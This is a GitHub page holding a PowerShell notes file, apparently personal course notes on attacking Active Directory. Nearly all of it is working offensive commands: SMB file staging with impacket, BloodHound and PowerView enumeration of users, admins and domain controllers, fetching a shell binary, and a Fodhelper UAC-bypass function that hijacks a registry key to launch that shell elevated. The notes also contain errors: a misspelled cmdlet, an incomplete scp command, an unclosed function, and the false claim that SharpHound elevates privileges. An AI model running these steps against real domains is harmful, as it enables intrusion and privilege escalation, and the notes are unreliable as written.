PowerShell/quick-active-directory-hacking-course.ps1 at main · slytechroot/PowerShell · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
python /usr/share/doc/python3-impacket/examples/smbserver.py share . -smb2support -username user -password password

- use SharpHound.ps1 to elevate privileges on the victim workstation.
Import-Module .\SharpHound.ps1
Invole-BloodHound -CollectionMethod All

Get-NetUser | select cn, objectsid
Get-NetUser | select cn, objectsid, adspath

Get-Netgroup -AdminCount

Get-netGroup -username admin2

Get-netgroupMember -groupName "Domain Admins"

Get-NetDomain
Get-DomainSID
Get-DomainPolicy
Get-NetDomainController

Invoke-EnumerateLocalAdmin

Get-NetLoggedon -ComputerName Domain-Controller.controller.local
Invoke-ShareFinder

python /usr/share/doc/python3-impacket/examples/smbserver.py share . -smb2support -username user -password password

#transfer file down from Linux Kali to another system
scp [email protected]:/root/youtube/uac/shell9443.exe

#Privilege escalation - Windows
https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1
function FodhelperBypass(){
 Param (

        [String]$program = "cmd /c start powershell.exe" #default
       )
#Create registry structure
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\users\Attila Kun\Downloads\shell9443.exe" -Force


#Getting started with Bloodhound